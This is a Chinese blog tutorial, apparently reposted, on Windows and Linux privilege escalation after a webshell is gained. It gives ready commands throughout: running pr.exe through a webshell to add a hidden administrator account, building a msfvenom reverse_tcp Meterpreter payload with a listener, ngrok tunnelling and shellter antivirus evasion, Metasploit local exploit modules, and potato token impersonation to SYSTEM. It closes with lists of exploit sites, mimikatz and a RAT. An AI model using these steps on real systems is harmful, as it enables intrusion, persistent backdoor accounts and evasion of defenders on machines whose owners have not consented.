当前位置:   article > 正文

004--利用系统溢出漏洞提权_上传溢出漏洞利用 exp 进行提权

上传溢出漏洞利用 exp 进行提权

溢出漏洞提权是利用目标操作系统层漏洞进行权限提升,通常步骤是拿到shell后获取目标机器的补丁信息,通过目标的补丁情况获取相对应的漏洞,进行提权

Windows 溢出提权

#Windows查看补丁信息,或者直接systeminfo
wmic qfe get Caption,description,hotfixid,installedon
  • 1
  • 2

在这里插入图片描述*****************************************************************************************************

提权辅助工具windows-exploit-suggester

项目地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
  • 1

Windows-Exploit-Suggester通过下载微软公开漏洞库到本地xls文件,然后根据操作系统版本,跟systeminfo生成的文件进行对比对从而判断目标可能存在的溢出漏洞,需要注意的是并非所有输出的漏洞都可以使用。使用方法如下:

# 更新漏洞库,更新完成后会在统计目录生成包含截至目前windows所有漏洞信息
python2 windows-exploit-suggester.py --update
  • 1
  • 2

#在目标主机上执行命令systeminfo并将输出的结果保存为一个txt文件。

# 对比补丁情况得到目标可能存在的漏洞
python2 windows-exploit-suggester.py --database 2020-05-28-mssb.xls  --system systeminfo.txt
  • 1
  • 2

在这里插入图片描述根据返回的结果和提供的EXP地址进行漏洞利用从而提权。


Windows提权漏洞利用工具

项目地址:https://github.com/SecWiki/windows-kernel-exploits/
  • 1

该项目集成了大部分windows溢出漏洞提权的EXP,可直接利用。
在这里插入图片描述一般来说每个版本的服务都有成功高且稳定的漏洞,遇见这些版本的服务器在没有打补丁的情况下优先使用对应的漏洞提权:

Windows2003:pr、巴西烤肉、2018-8020

Windows2003:利用 ms16-075劫持token(烂土豆)

Windows 2012/2016:ms18-8120
  • 1
  • 2
  • 3
  • 4
  • 5

例:PR提权
拿到shell后上传cmd和pr.exe,在菜刀终端窗口输入命令进行提权:

C:\inetpub\target\uploadlabs\upload\pr.txt "whoami"
  • 1

回显system,提权成功

在这里插入图片描述
利用返回的system权限创建账号:

C:\Inetpub\wwwroot\8099\pr.exe "net user xy 123 /add && net localgroup administrators xy /add"
  • 1

提权成功:
在这里插入图片描述*************************************************************************************************

Linux 溢出提权

uname -r
#查看内核版本,找对应漏洞
  • 1
  • 2

在这里插入图片描述

项目地址:https://github.com/SecWiki/linux-kernel-exploits/
  • 1

根据内核版本找对应的漏洞
在这里插入图片描述*************************************************************************************************

MSF提权

MSF的后渗透模块十分强大,个人以为利用MSF提权相对于一个EXP一个EXP的去打目标主机要显得温柔很多。MSF提权的大概步骤如下:
1.生成payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.5 lport=1122 -f exe > /root/a.exe
  • 1

2.端口转发
实战情况下MSF处于本地内网,目标的会话无法直接反弹到本地。利用ngrock等工具实现端口转发,ngrock的使用方法传送门:MSF配合Ngrock穿透内网

3.payload做免杀
如果目标主机存在较强的WAF,无法直接建立会话,那么就需要对payload进行免杀。免杀的方法很多,但是强大的不多。推荐shellter:MSF配合shellter免杀

4.建立监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.5
set lport 1122
run
  • 1
  • 2
  • 3
  • 4
  • 5

5.在目标机器上运行生成的payload,主机上线
在这里插入图片描述6.拿到会话开始提权

#查看权限
getuid
#挂起会话
background
#查看会话列表
sessions -l
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

MSF漏洞发现模块

#查找补丁缺失模块,会返回一些漏洞可直接利用
use post/windows/gather/enum_patches
set session x
run
#这个模块可能慢一点,但是相对上面那个更稳定
use post/multi/recon/local_exploit_suggester
set session x
run
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

在这里插入图片描述从返回的漏洞列表寻找最合适的漏洞进行利用,例如:

use exploit/windows/local/ms15_051_client_copy_image
set session 3
run
  • 1
  • 2
  • 3

返回高权限会话,提权成功:
在这里插入图片描述

MSF烂土豆劫持token提权(ms16_075)

session -i 3
#调用session
upload /root/potato.exe 
#上传potato
dir
use incognito 
#调用token劫持模块
list_tokens -u
#查看可用的session
execute -cH -f ./potato.exe
#执行(没返回就多搞几次)
impersonate_token "NT AUTHORITY\SYSTEM"
#导入权限,成功提权
#杀软对potato.exe 下手,只有改后缀或者找免杀版本
shell
whoami 查看是否是管理员权限
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

# 常见漏洞EXP网站
https://exploit-db.com
https://packetstormsecurity.com
https://packetstormsecurity.com/search/?q=ms15-057
https://www.securityfocus.com/
https://www.securityfocus.com/bid
http://1337day.com
http://0day.today
http://seclists.org/fulldisclosure
http://exploitsearch.net
http://www.securiteam.com
http://metasploit.com/modules
http://securityreason.com
https://cxsecurity.com/exploit
http://securitytracker.com
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

#提权项目合集:
https://github.com/lyshark/Windows-exploits
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/klsfct/getshell
https://github.com/ianxtianxt/win-exp-
https://github.com/uknowsec/SweetPotato
https://github.com/uknowsec/getSystem
https://github.com/s0wr0b1ndef/Linux-Kernel-Exploites
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

#其他
https://github.com/quasar/QuasarRAT/releases
https://github.com/gentilkiwi/mimikatz/releases
  • 1
  • 2
  • 3

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/705347
推荐阅读
相关标签
  

闽ICP备14008679号